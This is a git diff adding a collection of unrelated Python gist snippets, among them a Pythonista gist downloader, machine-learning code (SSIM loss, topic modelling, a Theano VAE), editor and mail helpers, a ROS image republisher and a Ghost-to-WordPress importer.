@@ -0,0 +1,123 @@
+# coding: utf-8
+
+# This script downloads and opens a Gist from a URL in the clipboard.
+# It's meant to be put in the editor's actions menu.
+#
+# It works with "raw" and "web" gist URLs, but not with gists that
+# contain multiple files or non-Python files.
+# 
+# If a file already exists, a dialog is shown that asks whether the
+# new file should be renamed or replaced.
+
+import appex
+import clipboard
+import console
+import re
+import os
+import json
+
+class InvalidGistURLError (Exception): pass
+class MultipleFilesInGistError (Exception): pass
+class NoFilesInGistError (Exception): pass
+class GistDownloadError (Exception): pass
+
+def test_filename(filename):
+	if os.path.isfile(filename):
+		return test_filename(console.input_alert('New File Name', 'Set the name of the Gist file', filename, 'OK', False))
+	else:
+		return filename
+	
+def download_gist(gist_url):
+	# Returns a 2-tuple of filename and content
+	
+	console.show_activity()
+	
+	raw_match = re.match('http(s?)://raw.github.com/gist/', gist_url)
+	if raw_match:
+		import requests
+		from urlparse import urlparse
+		filename = os.path.split(urlparse(gist_url).path)[1]
+		try:
+			r = requests.get(gist_url)
+			content = r.text
+			return filename, content
+		except:
+			raise GistDownloadError()
+	else:
+		gist_id_match = re.match('http(s?)://gist.github.com/([0-9a-zA-Z]*)/([0-9a-f]*)', gist_url)
+		if gist_id_match:
+			import requests
+			gist_id = gist_id_match.group(3)
+			json_url = 'https://api.github.com/gists/' + gist_id
+			try:
+				gist_json = requests.get(json_url).text
+				gist_info = json.loads(gist_json)
+				files = gist_info['files']
+			except:
+				raise GistDownloadError()
+			py_files = []
+			for file_info in files.values():
+				lang =  file_info.get('language', None)
+				if lang != 'Python':
+					continue 
+				py_files.append(file_info)
+			if len(py_files) > 1:
+				raise MultipleFilesInGistError()
+			elif len(py_files) == 0:
+				raise NoFilesInGistError()
+			else:
+				file_info = py_files[0]
+				filename = file_info['filename']
+				content = file_info['content']
+				return filename, content
+		else:
+			raise InvalidGistURLError()
+ 
+def main():
+	if not appex.is_running_extension():
+		gist_url = clipboard.get()
+	else:
+		gist_url = appex.get_url()
+	try:
+		filename, content = download_gist(gist_url)
+		if os.path.isfile(filename):
+			i = console.alert('File exists', 'A file with the name ' + filename + 
+			                  ' already exists in your library.',
+			                  'Rename','Replace')
+			if i == 1:
+				filename = test_filename(console.input_alert('New File Name', 'Set the name of the Gist file', filename, 'OK', False))
+
+			try:
+				import editor
+				editor.make_new_file(filename, content)
+			except ImportError:
+				with open(filename, 'r+') as file:
+					file.seek(0)
+					file.write(content)
+					file.truncate()
+				console.hud_alert('Script added successfully', 'success')
+						
+		else:
+			try:
+				import editor
+				editor.make_new_file(filename, content)
+			except ImportError:
+				with open(filename, 'a+') as file:
+					file.seek(0)
+					file.write(content)
+					file.truncate()
+				console.hud_alert('Script added successfully', 'success')
+	except InvalidGistURLError:
+		console.alert('No Gist URL',
+		              'The clipboard doesn\'t seem to contain a valid Gist URL.',
+		              'OK')
+	except MultipleFilesInGistError:
+		console.alert('Multiple Files', 'This Gist contains multiple ' +
+			            'Python files, which isn\'t currently supported.')
+	except NoFilesInGistError:
+		console.alert('No Python Files', 'This Gist contains no Python files.')
+	except GistDownloadError:
+		console.alert('Error', 'The Gist could not be downloaded.')
+		
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/hard-gists/a48feaecfdb9e0609c6a02590fd1f91b/._snippet.py b/hard-gists/a48feaecfdb9e0609c6a02590fd1f91b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a48feaecfdb9e0609c6a02590fd1f91b/._snippet.py differ
diff --git a/hard-gists/a48feaecfdb9e0609c6a02590fd1f91b/snippet.py b/hard-gists/a48feaecfdb9e0609c6a02590fd1f91b/snippet.py
new file mode 100644
index 00000000..730133d1
--- /dev/null
+++ b/hard-gists/a48feaecfdb9e0609c6a02590fd1f91b/snippet.py
@@ -0,0 +1,28 @@
+import keras.backend as K
+import tensorflow as tf
+class Model:
+  def __init__(self,batch_size):
+    self.batch_size = batch_size
+    
+    def loss_DSSIS_tf11(self, y_true, y_pred):
+        """Need tf0.11rc to work"""
+        y_true = tf.reshape(y_true, [self.batch_size] + get_shape(y_pred)[1:])
+        y_pred = tf.reshape(y_pred, [self.batch_size] + get_shape(y_pred)[1:])
+        y_true = tf.transpose(y_true, [0, 2, 3, 1])
+        y_pred = tf.transpose(y_pred, [0, 2, 3, 1])
+        patches_true = tf.extract_image_patches(y_true, [1, 5, 5, 1], [1, 2, 2, 1], [1, 1, 1, 1], "SAME")
+        patches_pred = tf.extract_image_patches(y_pred, [1, 5, 5, 1], [1, 2, 2, 1], [1, 1, 1, 1], "SAME")
+
+        u_true = K.mean(patches_true, axis=3)
+        u_pred = K.mean(patches_pred, axis=3)
+        var_true = K.var(patches_true, axis=3)
+        var_pred = K.var(patches_pred, axis=3)
+        std_true = K.sqrt(var_true)
+        std_pred = K.sqrt(var_pred)
+        c1 = 0.01 ** 2
+        c2 = 0.03 ** 2
+        ssim = (2 * u_true * u_pred + c1) * (2 * std_pred * std_true + c2)
+        denom = (u_true ** 2 + u_pred ** 2 + c1) * (var_pred + var_true + c2)
+        ssim /= denom
+        ssim = tf.select(tf.is_nan(ssim), K.zeros_like(ssim), ssim)
+        return K.mean(((1.0 - ssim) / 2))
\ No newline at end of file
diff --git a/hard-gists/a4cfdc19144e7bd634a8/._snippet.py b/hard-gists/a4cfdc19144e7bd634a8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a4cfdc19144e7bd634a8/._snippet.py differ
diff --git a/hard-gists/a4cfdc19144e7bd634a8/snippet.py b/hard-gists/a4cfdc19144e7bd634a8/snippet.py
new file mode 100644
index 00000000..5928261f
--- /dev/null
+++ b/hard-gists/a4cfdc19144e7bd634a8/snippet.py
@@ -0,0 +1,32 @@
+#!/usr/bin/python
+
+import sys
+import hashlib
+from OpenSSL.crypto import *
+
+def main():
+  if(len(sys.argv) != 4):
+    print sys.argv[0] + " /path/to/ssl.crt /path/to/ssl.key ProcessedMachineIdentifier"
+    sys.exit(0)
+  hash = hashlib.sha512()
+  hash.update('plex')
+  hash.update(sys.argv[3])
+  passphrase = hash.hexdigest()
+
+  with open(sys.argv[1], 'rb') as f:
+    c = f.read()
+
+  with open(sys.argv[2], 'rb') as f:
+    k = f.read()
+
+  key = load_privatekey(FILETYPE_PEM,k)
+  cert = load_certificate(FILETYPE_PEM,c)
+  p12 = PKCS12()
+  p12.set_certificate(cert)
+  p12.set_privatekey(key)
+  open("certificate.p12", 'w' ).write( p12.export(passphrase) )
+
+  print passphrase
+
+if __name__ == '__main__':
+  main()
\ No newline at end of file
diff --git a/hard-gists/a52b036424bd9975d719f224ca8cc8d5/._snippet.py b/hard-gists/a52b036424bd9975d719f224ca8cc8d5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a52b036424bd9975d719f224ca8cc8d5/._snippet.py differ
diff --git a/hard-gists/a52b036424bd9975d719f224ca8cc8d5/snippet.py b/hard-gists/a52b036424bd9975d719f224ca8cc8d5/snippet.py
new file mode 100644
index 00000000..f94d63d4
--- /dev/null
+++ b/hard-gists/a52b036424bd9975d719f224ca8cc8d5/snippet.py
@@ -0,0 +1,10 @@
+#!/usr/bin/python
+
+from Foundation import NSWorkspace, NSURL
+import urllib
+
+def show_gists():
+    NSWorkspace.sharedWorkspace().openURL_(NSURL.URLWithString_('https://gist.github.com/search?q=%40pudquick&ref=searchresults'))
+
+def search_gists(search_string):
+    NSWorkspace.sharedWorkspace().openURL_(NSURL.URLWithString_('https://gist.github.com/search?q=%%40pudquick+%s&ref=searchresults' % search_string))
diff --git a/hard-gists/a536bfa68b066c6fd593/._snippet.py b/hard-gists/a536bfa68b066c6fd593/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a536bfa68b066c6fd593/._snippet.py differ
diff --git a/hard-gists/a536bfa68b066c6fd593/snippet.py b/hard-gists/a536bfa68b066c6fd593/snippet.py
new file mode 100644
index 00000000..eb4bb92a
--- /dev/null
+++ b/hard-gists/a536bfa68b066c6fd593/snippet.py
@@ -0,0 +1,66 @@
+#!/usr/bin/env python
+
+'''
+A script to search the Mac OS X Address Book via PyObjC bridge, and 
+then output the results in a format suitable for integration with
+mutt.
+
+Add the following to your `.muttrc`:
+
+    set query_command = "~/.mutt/contacts.py '%s'"
+    bind editor <Tab> complete-query
+    bind editor ^T    complete
+    
+Then, tab-complete emails like a boss.
+'''
+
+import sys
+import AddressBook as AB
+
+# get a reference to the address book
+book = AB.ABAddressBook.sharedAddressBook()
+
+# create search parameters - prefix match on first or last name or email
+firstname_search = AB.ABPersonCreateSearchElement(
+    AB.kABLastNameProperty, None, None, sys.argv[1],
+    AB.kABPrefixMatchCaseInsensitive
+)
+lastname_search = AB.ABPersonCreateSearchElement(
+    AB.kABFirstNameProperty, None, None, sys.argv[1],
+    AB.kABPrefixMatchCaseInsensitive
+)
+email_search = AB.ABPersonCreateSearchElement(
+    AB.kABEmailProperty, None, None, sys.argv[1],
+    AB.kABContainsSubStringCaseInsensitive
+)
+name_search = AB.ABSearchElement.searchElementForConjunction_children_(
+    AB.kABSearchOr,
+    [firstname_search, lastname_search, email_search]
+)
+
+# perform the search
+matches = book.recordsMatchingSearchElement_(name_search)
+
+# collect results
+results = []
+for person in matches:
+    emails = person.valueForKey_('Email') or []
+    company = person.valueForKey_('Organization')
+    name = '%s %s' % (
+        person.valueForKey_('First'),
+        person.valueForKey_('Last')
+    ) if person.valueForKey_('First') else company
+
+    for i in range(len(emails)):
+        results.append((
+            emails.valueAtIndex_(i),
+            name
+        ))
+
+# sort results
+results.sort(lambda x,y: cmp(x[1], y[1]))
+
+# output to stdout in the mutt-preferred style
+print 'EMAIL\tNAME'
+for result in results:
+    print '%s\t%s' % result
diff --git a/hard-gists/a5407ce6b5061525e7f2/._snippet.py b/hard-gists/a5407ce6b5061525e7f2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a5407ce6b5061525e7f2/._snippet.py differ
diff --git a/hard-gists/a5407ce6b5061525e7f2/snippet.py b/hard-gists/a5407ce6b5061525e7f2/snippet.py
new file mode 100644
index 00000000..c077ea0e
--- /dev/null
+++ b/hard-gists/a5407ce6b5061525e7f2/snippet.py
@@ -0,0 +1,149 @@
+# Version: 0.0.022
+
+# Please note: This has only been tested on Sublime Text 3 Build 3065
+
+# Installation:
+# 1. Click "Download Gist"
+# 2. Put alloy.py in: ~/Library/Application Support/Sublime Text 3/Packages/User/
+# 3. Set your layout to Grid 4 - Go to view > layout > Grid: 4
+# 4. Add to the bliss of working with Alloy...
+
+# Based on this Gist from Fokke - https://gist.github.com/FokkeZB/6218345
+# Alloy lay-out for Sublime Text http://withtitanium.com/2013/08/titanium-alloy-optimized-sublime-text-2-layout/
+
+import sublime, sublime_plugin, time
+from os.path import splitext
+from os.path import isfile
+
+currentFile = ''
+debug = False
+
+class MoveWindowCommand(sublime_plugin.EventListener):
+    def on_load(self, view):
+        global currentFile, debug
+
+        if view.file_name() == None:
+            return False
+
+        window = sublime.active_window()
+
+        if window.num_groups() != 4:
+            return None
+
+        if view.file_name() == currentFile:
+            return False
+
+        currentFile = view.file_name()
+
+        if (debug):
+            print('on_load(): ' + view.file_name())
+
+        group, index = window.get_view_index(view)
+        fileName, fileExtension = splitext(view.file_name())
+        
+        if fileExtension == '.xml':
+            window.set_view_index(view, 2, 0)
+        elif fileExtension == '.tss':
+            window.set_view_index(view, 1, 0)
+        elif fileExtension == '.js':
+            isLib = True
+            window.set_view_index(view, 0, 0)
+            window.open_file(view.file_name())
+            if isfile(fileName.replace('/controllers/','/views/')+'.xml'):  
+                isLib = False 
+                window.open_file(fileName.replace('/controllers/','/views/')+'.xml')
+            if isfile(fileName.replace('/controllers/','/styles/')+'.tss'):
+                isLib = False 
+                window.open_file(fileName.replace('/controllers/','/styles/')+'.tss')
+            if isLib:
+                window.set_view_index(view, 3, 0)                
+            else:
+                window.set_view_index(view, 0, 0)
+        else :
+            window.set_view_index(view, 3, 0)      
+
+        window.focus_view(view)   
+        window.focus_group(0)  
+    
+    def on_close(self, view): 
+        global currentFile, debug
+
+        if view.file_name() == None:
+            return None
+
+        if (debug):
+            print('on_close(): ' + view.file_name())            
+
+        window = sublime.active_window()
+
+        if window.num_groups() != 4:
+            return None
+
+        fileName, fileExtension = splitext(view.file_name())
+            
+        if fileExtension != '.js': 
+            return None
+
+        if view.file_name().find("controllers") == -1:
+            return None    
+
+        if not isfile(fileName.replace('/controllers/','/views/') + '.xml') or not isfile(fileName.replace('/controllers/','/styles/') + '.tss'):
+            return None
+        
+        xmlFileView = window.find_open_file(fileName.replace('/controllers/','/views/')+'.xml')
+        window.focus_view(xmlFileView)
+        window.run_command('close_file')
+
+        tssFileView = window.find_open_file(fileName.replace('/controllers/','/styles/')+'.tss')
+        window.focus_view(tssFileView)
+        window.run_command('close_file')
+
+    def on_activated(self, view):
+        global currentFile, debug
+
+        if view.file_name() == None:
+            return None        
+
+        if (debug):
+            print('on_activated(): ' + view.file_name())
+
+        window = sublime.active_window()
+
+        if window.num_groups() != 4:
+            return None            
+
+        group, index = window.get_view_index(view)
+        fileName, fileExtension = splitext(view.file_name())  
+
+        if fileExtension != '.js': 
+            return None
+
+        if view.file_name() == currentFile:
+            return None
+
+        currentFile = view.file_name()     
+
+        if (debug):
+            print('on_activated() - pass: ' + view.file_name())       
+
+        if view.file_name().find("controllers") != -1 and fileExtension == '.js':   
+
+            if isfile(fileName.replace('/controllers/','/styles/')+'.tss'):            
+                tssFileView = window.find_open_file(fileName.replace('/controllers/','/styles/')+'.tss')
+                if tssFileView == None:
+                    return False
+
+                sublime.set_timeout(lambda: window.set_view_index(tssFileView, 1, index), 0)
+                sublime.set_timeout(lambda: window.focus_view(tssFileView), 0)
+
+            if isfile(fileName.replace('/controllers/','/views/')+'.xml'):  
+                xmlFileView = window.find_open_file(fileName.replace('/controllers/','/views/')+'.xml')
+                if xmlFileView == None:
+                    return False
+
+
+                sublime.set_timeout(lambda: window.set_view_index(xmlFileView, 2, index), 1)
+                sublime.set_timeout(lambda: window.focus_view(xmlFileView), 1)
+
+            
+            sublime.set_timeout(lambda: window.focus_group(0), 2)
\ No newline at end of file
diff --git a/hard-gists/a54e7e182ddf564f6a5c1fe50db556a2/._snippet.py b/hard-gists/a54e7e182ddf564f6a5c1fe50db556a2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a54e7e182ddf564f6a5c1fe50db556a2/._snippet.py differ
diff --git a/hard-gists/a54e7e182ddf564f6a5c1fe50db556a2/snippet.py b/hard-gists/a54e7e182ddf564f6a5c1fe50db556a2/snippet.py
new file mode 100644
index 00000000..974f058c
--- /dev/null
+++ b/hard-gists/a54e7e182ddf564f6a5c1fe50db556a2/snippet.py
@@ -0,0 +1,36 @@
+from sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer
+from sklearn.datasets import fetch_20newsgroups
+from sklearn.decomposition import NMF, LatentDirichletAllocation
+
+def display_topics(model, feature_names, no_top_words):
+    for topic_idx, topic in enumerate(model.components_):
+        print "Topic %d:" % (topic_idx)
+        print " ".join([feature_names[i]
+                        for i in topic.argsort()[:-no_top_words - 1:-1]])
+
+dataset = fetch_20newsgroups(shuffle=True, random_state=1, remove=('headers', 'footers', 'quotes'))
+documents = dataset.data
+
+no_features = 1000
+
+# NMF is able to use tf-idf
+tfidf_vectorizer = TfidfVectorizer(max_df=0.95, min_df=2, max_features=no_features, stop_words='english')
+tfidf = tfidf_vectorizer.fit_transform(documents)
+tfidf_feature_names = tfidf_vectorizer.get_feature_names()
+
+# LDA can only use raw term counts for LDA because it is a probabilistic graphical model
+tf_vectorizer = CountVectorizer(max_df=0.95, min_df=2, max_features=no_features, stop_words='english')
+tf = tf_vectorizer.fit_transform(documents)
+tf_feature_names = tf_vectorizer.get_feature_names()
+
+no_topics = 20
+
+# Run NMF
+nmf = NMF(n_components=no_topics, random_state=1, alpha=.1, l1_ratio=.5, init='nndsvd').fit(tfidf)
+
+# Run LDA
+lda = LatentDirichletAllocation(n_topics=no_topics, max_iter=5, learning_method='online', learning_offset=50.,random_state=0).fit(tf)
+
+no_top_words = 10
+display_topics(nmf, tfidf_feature_names, no_top_words)
+display_topics(lda, tf_feature_names, no_top_words)
\ No newline at end of file
diff --git a/hard-gists/a56421d26afb1f728a2b5959ce1c4486/._snippet.py b/hard-gists/a56421d26afb1f728a2b5959ce1c4486/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a56421d26afb1f728a2b5959ce1c4486/._snippet.py differ
diff --git a/hard-gists/a56421d26afb1f728a2b5959ce1c4486/snippet.py b/hard-gists/a56421d26afb1f728a2b5959ce1c4486/snippet.py
new file mode 100644
index 00000000..2b61b5a8
--- /dev/null
+++ b/hard-gists/a56421d26afb1f728a2b5959ce1c4486/snippet.py
@@ -0,0 +1,37 @@
+#!/usr/bin/python3
+
+from cnn import cnn
+import hyperopt
+
+
+def objective(args):
+
+    params = cnn.ExperimentParameters()
+
+    params.c1_size_filter = args['c1_size_filter']
+    params.c1_num_features = args['c1_num_features']
+    params.c2_size_filter = args['c2_size_filter']
+    params.c2_num_features = args['c2_num_features']
+   
+    loss = cnn.train(params)
+    
+    return loss
+
+
+def optimize():
+
+    space = {
+        'c1_size_filter': hyperopt.hp.choice('c1_size_filter', [3, 5, 7]),
+        'c2_size_filter': hyperopt.hp.choice('c2_size_filter', [3, 5, 7]),
+        'c1_num_features': hyperopt.hp.choice('c1_num_features', [4, 8, 16, 32]),
+        'c2_num_features': hyperopt.hp.choice('c2_num_features', [4, 8, 16, 32])
+    }
+
+    best_model = hyperopt.fmin(objective, space, algo=hyperopt.tpe.suggest, max_evals=150)
+
+    print(best_model)
+    print(hyperopt.space_eval(space, best_model))
+
+    
+if __name__ == '__main__':
+    optimize()
\ No newline at end of file
diff --git a/hard-gists/a56d5446416f5ad2bbac/._snippet.py b/hard-gists/a56d5446416f5ad2bbac/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a56d5446416f5ad2bbac/._snippet.py differ
diff --git a/hard-gists/a56d5446416f5ad2bbac/snippet.py b/hard-gists/a56d5446416f5ad2bbac/snippet.py
new file mode 100644
index 00000000..d026376b
--- /dev/null
+++ b/hard-gists/a56d5446416f5ad2bbac/snippet.py
@@ -0,0 +1,222 @@
+import theano
+import theano.tensor as T
+from theano.sandbox.rng_mrg import MRG_RandomStreams as RandomStreams
+from theano.tensor.signal.downsample import max_pool_2d
+from theano.tensor.extra_ops import repeat
+from theano.sandbox.cuda.dnn import dnn_conv
+
+from time import time
+import numpy as np
+from matplotlib import pyplot as plt
+from scipy.misc import imsave, imread
+import itertools
+
+from foxhound.utils.load import lfw
+from foxhound.utils.vis import color_grid_vis
+
+from passage.inits import uniform, orthogonal
+from passage.utils import shared0s, floatX, iter_data, sharedX, shuffle
+from passage.activations import rectify, linear, hard_tanh
+
+def make_paths(n_code, n_paths, n_steps=480):
+    """
+    create a random path through code space by interpolating between random points
+    """
+    paths = []
+    p_starts = np.random.randn(n_paths, n_code)
+    for i in range(n_steps/48):
+        p_ends = np.random.randn(n_paths, n_code)
+        for weight in np.linspace(0., 1., 48):
+            paths.append(p_starts*(1-weight) + p_ends*weight)
+        p_starts = np.copy(p_ends)
+
+    paths = np.asarray(paths)
+    return paths
+
+def Adam(params, cost, lr=0.0002, b1=0.1, b2=0.001, e=1e-8):
+    """
+    no bias init correction
+    """
+    updates = []
+    grads = T.grad(cost, params)
+    for p, g in zip(params, grads):
+        m = theano.shared(p.get_value() * 0.)
+        v = theano.shared(p.get_value() * 0.)
+        m_t = (b1 * g) + ((1. - b1) * m)
+        v_t = (b2 * T.sqr(g)) + ((1. - b2) * v)
+        g_t = m_t / (T.sqrt(v_t) + e)
+        p_t = p - (lr * g_t)
+        updates.append((m, m_t))
+        updates.append((v, v_t))
+        updates.append((p, p_t))
+    return updates
+
+srng = RandomStreams()
+
+trX, _, _, _ = lfw(n_imgs='all', flatten=False, npx=64)
+
+trX = floatX(trX)
+
+def log_prior(mu, log_sigma):
+    """
+    yaost kl divergence penalty
+    """
+    return 0.5* T.sum(1 + 2*log_sigma - mu**2 - T.exp(2*log_sigma))
+
+def conv(X, w, b, activation):
+    z = dnn_conv(X, w, border_mode=int(np.floor(w.get_value().shape[-1]/2.)))
+    if b is not None:
+        z += b.dimshuffle('x', 0, 'x', 'x')
+    return activation(z)
+
+def conv_and_pool(X, w, b=None, activation=rectify):
+    return max_pool_2d(conv(X, w, b, activation=activation), (2, 2))
+
+def deconv(X, w, b=None):
+    z = dnn_conv(X, w, direction_hint="*not* 'forward!", border_mode=int(np.floor(w.get_value().shape[-1]/2.)))
+    if b is not None:
+        z += b.dimshuffle('x', 0, 'x', 'x')
+    return z
+
+def depool(X, factor=2):
+    """ 
+    luke perforated upsample 
+    http://www.brml.org/uploads/tx_sibibtex/281.pdf 
+    """
+    output_shape = [
+        X.shape[1],
+        X.shape[2]*factor,
+        X.shape[3]*factor
+    ]
+    stride = X.shape[2]
+    offset = X.shape[3]
+    in_dim = stride * offset
+    out_dim = in_dim * factor * factor
+
+    upsamp_matrix = T.zeros((in_dim, out_dim))
+    rows = T.arange(in_dim)
+    cols = rows*factor + (rows/stride * factor * offset)
+    upsamp_matrix = T.set_subtensor(upsamp_matrix[rows, cols], 1.)
+
+    flat = T.reshape(X, (X.shape[0], output_shape[0], X.shape[2] * X.shape[3]))
+
+    up_flat = T.dot(flat, upsamp_matrix)
+    upsamp = T.reshape(up_flat, (X.shape[0], output_shape[0], output_shape[1], output_shape[2]))
+
+    return upsamp
+    
+def deconv_and_depool(X, w, b=None, activation=rectify):
+  return activation(deconv(depool(X), w, b))
+
+n_code = 512
+n_hidden = 2048
+n_batch = 128
+
+print 'generating weights'
+
+we = uniform((64, 3, 5, 5))
+w2e = uniform((128, 64, 5, 5))
+w3e = uniform((256, 128, 5, 5))
+w4e = uniform((256*8*8, n_hidden))
+b4e = shared0s(n_hidden)
+wmu = uniform((n_hidden, n_code))
+bmu = shared0s(n_code)
+wsigma = uniform((n_hidden, n_code))
+bsigma = shared0s(n_code)
+
+wd = uniform((n_code, n_hidden))
+bd = shared0s((n_hidden))
+w2d = uniform((n_hidden, 256*8*8))
+b2d = shared0s((256*8*8))
+w3d = uniform((128, 256, 5, 5))
+w4d = uniform((64, 128, 5, 5))
+wo = uniform((3, 64, 5, 5))
+
+enc_params = [we, w2e, w3e, w4e, b4e, wmu, bmu, wsigma, bsigma] 
+dec_params = [wd, bd, w2d, b2d, w3d, w4d, wo]
+params = enc_params + dec_params
+
+def conv_gaussian_enc(X, w, w2, w3, w4, b4, wmu, bmu, wsigma, bsigma):
+    h = conv_and_pool(X, w)
+    h2 = conv_and_pool(h, w2)
+    h3 = conv_and_pool(h2, w3)
+    h3 = h3.reshape((h3.shape[0], -1))
+    h4 = T.tanh(T.dot(h3, w4) + b4)
+    mu = T.dot(h4, wmu) + bmu
+    log_sigma = 0.5 * (T.dot(h4, wsigma) + bsigma)
+    return mu, log_sigma
+
+def deconv_dec(X, w, b, w2, b2, w3, w4, wo):
+    h = rectify(T.dot(X, w) + b)
+    h2 = rectify(T.dot(h, w2) + b2)
+    h2 = h2.reshape((h2.shape[0], 256, 8, 8))
+    h3 = deconv_and_depool(h2, w3)
+    h4 = deconv_and_depool(h3, w4)
+    y = deconv_and_depool(h4, wo, activation=hard_tanh)
+    return y
+
+def model(X, e):
+    code_mu, code_log_sigma = conv_gaussian_enc(X, *enc_params)
+
+    Z = code_mu + T.exp(code_log_sigma) * e
+
+    y = deconv_dec(Z, *dec_params)
+
+    return code_mu, code_log_sigma, Z, y
+
+print 'theano code'
+
+X = T.tensor4()
+e = T.matrix()
+Z_in = T.matrix()
+
+code_mu, code_log_sigma, Z, y = model(X, e)
+
+y_out = deconv_dec(Z_in, *dec_params)
+
+rec_cost = T.sum(T.abs_(X - y))
+prior_cost = log_prior(code_mu, code_log_sigma)
+
+cost = rec_cost - prior_cost
+
+print 'getting updates'
+
+updates = Adam(params, cost)
+
+print 'compiling'
+
+_train = theano.function([X, e], cost, updates=updates)
+_reconstruct = theano.function([X, e], y)
+_x_given_z = theano.function([Z_in], y_out)
+_z_given_x = theano.function([X, e], Z)
+
+xs = floatX(np.random.randn(100, n_code))
+
+print 'TRAINING'
+
+x_rec = floatX(shuffle(trX)[:100])
+
+t = time()
+n = 0.
+for e in range(10000):
+    costs = []
+    for xmb in iter_data(trX, size=n_batch):
+        xmb = floatX(xmb)
+        cost = _train(xmb, floatX(np.random.randn(xmb.shape[0], n_code)))
+        costs.append(cost)
+        n += xmb.shape[0]
+    print e, np.mean(costs), n/(time()-t)
+    samples = _x_given_z(xs)
+    recs = _reconstruct(x_rec, floatX(np.ones((x_rec.shape[0], n_code))))
+    img1 = color_grid_vis(x_rec, transform=lambda x:((x+1.)/2.).transpose(1, 2, 0), show=False)
+    img2 = color_grid_vis(recs, transform=lambda x:((x+1.)/2.).transpose(1, 2, 0), show=False)
+    img3 = color_grid_vis(samples, transform=lambda x:((x+1.)/2.).transpose(1, 2, 0), show=False)
+    imsave('lfw_source.png', img1)
+    imsave('lfw_linear_rec/%d.png'%e, img2)
+    imsave('lfw_samples/%d.png'%e, img3)
+
+    if e % 5 == 0:
+        for i in range(9):
+            path_samples = _x_given_z(floatX(paths[:, i, :]))
+            for j, sample in enumerate(path_samples):
+                imsave('paths_%d/%d.png'%(i, j), ((sample+1.)/2.).transpose(1, 2, 0))
\ No newline at end of file
diff --git a/hard-gists/a5808fe356b8da031837/._snippet.py b/hard-gists/a5808fe356b8da031837/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a5808fe356b8da031837/._snippet.py differ
diff --git a/hard-gists/a5808fe356b8da031837/snippet.py b/hard-gists/a5808fe356b8da031837/snippet.py
new file mode 100644
index 00000000..4648b266
--- /dev/null
+++ b/hard-gists/a5808fe356b8da031837/snippet.py
@@ -0,0 +1,16 @@
+import tensorflow as tf
+
+"""
+Multi dimensional softmax,
+refer to https://github.com/tensorflow/tensorflow/issues/210
+
+compute softmax along the dimension of target
+the native softmax only supports batch_size x dimension
+"""
+def softmax(target, axis, name=None):
+  with tf.name_scope(name, 'softmax', values=[target]):
+    max_axis = tf.reduce_max(target, axis, keep_dims=True)
+    target_exp = tf.exp(target-max_axis)
+    normalize = tf.reduce_sum(target_exp, axis, keep_dims=True)
+    softmax = target_exp / normalize
+    return softmax
\ No newline at end of file
diff --git a/hard-gists/a5af977340c1c452d2d0/._snippet.py b/hard-gists/a5af977340c1c452d2d0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a5af977340c1c452d2d0/._snippet.py differ
diff --git a/hard-gists/a5af977340c1c452d2d0/snippet.py b/hard-gists/a5af977340c1c452d2d0/snippet.py
new file mode 100644
index 00000000..223a7cfe
--- /dev/null
+++ b/hard-gists/a5af977340c1c452d2d0/snippet.py
@@ -0,0 +1,25 @@
+#! /usr/bin/python
+# Copyright (c) 2016 Rethink Robotics, Inc.
+
+# rospy for the subscriber
+import rospy
+# ROS Image message
+from sensor_msgs.msg import Image
+
+def image_callback(msg, pub):
+    pub.publish(msg)
+
+def main():
+    rospy.init_node('image_republisher')
+    # Define your image topic
+    stream_image_topic = "/cameras/left_hand_camera/image"
+    # Define the Display topic
+    xdisplay_topic = "/robot/xdisplay"
+    # Set up your subscriber and define its callback
+    pub = rospy.Publisher(xdisplay_topic, Image, queue_size=10)
+    rospy.Subscriber(stream_image_topic, Image, image_callback, callback_args=pub)
+    # Spin until ctrl + c
+    rospy.spin()
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/a5b640e4368204426310/._snippet.py b/hard-gists/a5b640e4368204426310/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a5b640e4368204426310/._snippet.py differ
diff --git a/hard-gists/a5b640e4368204426310/snippet.py b/hard-gists/a5b640e4368204426310/snippet.py
new file mode 100644
index 00000000..5f7ec6e9
--- /dev/null
+++ b/hard-gists/a5b640e4368204426310/snippet.py
@@ -0,0 +1,54 @@
+"""
+Requirements:
+
+* A Wordpress Blog
+* Ghost export file (json).
+* Python Packages: python-wordpress-xmlrpc
+  
+  >>> pip install python-wordpress-xmlrpc
+  
+WARNING: 
+
+USE THIS AT YOUR OWN RISK. 
+If your have any questions, please comment here below.
+
+"""
+
+from wordpress_xmlrpc import Client, WordPressPost
+from wordpress_xmlrpc.methods.posts import NewPost
+
+from dateutil.parser import parse
+from time import sleep
+import json
+
+xmlrpc_endpoint = ''
+username = ''
+password = ''
+
+wp = Client(xmlrpc_endpoint, username, password)
+
+filename = 'ghost.export.json'
+
+with open(filename) as f:
+    text = f.read()
+
+data = json.loads(text)
+
+for p in data['db'][0]['data']['posts']:
+    print p['title']
+    
+    date = p.get('published_at', None)
+    if date is None:
+        p.get('created_at')
+
+    post = WordPressPost()
+    post.slug = p['slug']
+    post.content = p['html']
+    post.title = p['title']
+    post.post_status = 'publish'
+    try:
+        post.date = parse(date)
+    except:
+        continue
+
+    wp.call(NewPost(post))
\ No newline at end of file
diff --git a/hard-gists/a5f57e8c9d0aedee285fb6f43cb5900c/._snippet.py b/hard-gists/a5f57e8c9d0aedee285fb6f43cb5900c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a5f57e8c9d0aedee285fb6f43cb5900c/._snippet.py differ
diff --git a/hard-gists/a5f57e8c9d0aedee285fb6f43cb5900c/snippet.py b/hard-gists/a5f57e8c9d0aedee285fb6f43cb5900c/snippet.py
